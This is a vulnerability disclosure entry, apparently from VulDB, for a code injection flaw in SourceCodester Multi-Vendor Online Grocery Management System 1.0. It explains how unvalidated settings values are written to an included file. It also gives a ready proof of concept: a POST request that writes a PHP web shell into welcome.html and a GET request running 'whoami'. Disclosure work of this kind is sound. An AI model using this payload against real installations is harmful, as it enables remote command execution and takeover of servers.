| 标题 | SourceCodester Multi-Vendor Online Grocery Management System 1.0 Code Injection |
|---|
| 描述 | A vulnerability was found in SourceCodester Multi-Vendor Online Grocery Management System 1.0. It has been rated as
critical. The update_settings_info() function in classes/SystemSettings.php writes POST content[] array values to disk
via file_put_contents("../{$k}.html",$v) with no validation on the key or content. The file home.php includes
welcome.html via include(), executing any PHP written to it.
POST /mvogms/classes/SystemSettings.php?f=update_settings
content[welcome]=<?php system($_GET["cmd"]); ?>
GET /mvogms/home.php?cmd=whoami → desktop-uhjk9fi\admin |
|---|
| 来源 | ⚠️ https://github.com/lee945/cve/issues/2 |
|---|
| 用户 | cHr1s (UID 98736) |
|---|
| 提交 | 2026-06-03 13時54分 (3 月前) |
|---|
| 管理 | 2026-07-04 06時59分 (1 month later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 376287 [SourceCodester Multi-Vendor Online Grocery Management System 1.0 Setting SystemSettings.php update_settings_info content[] 权限提升] |
|---|
| 积分 | 20 |
|---|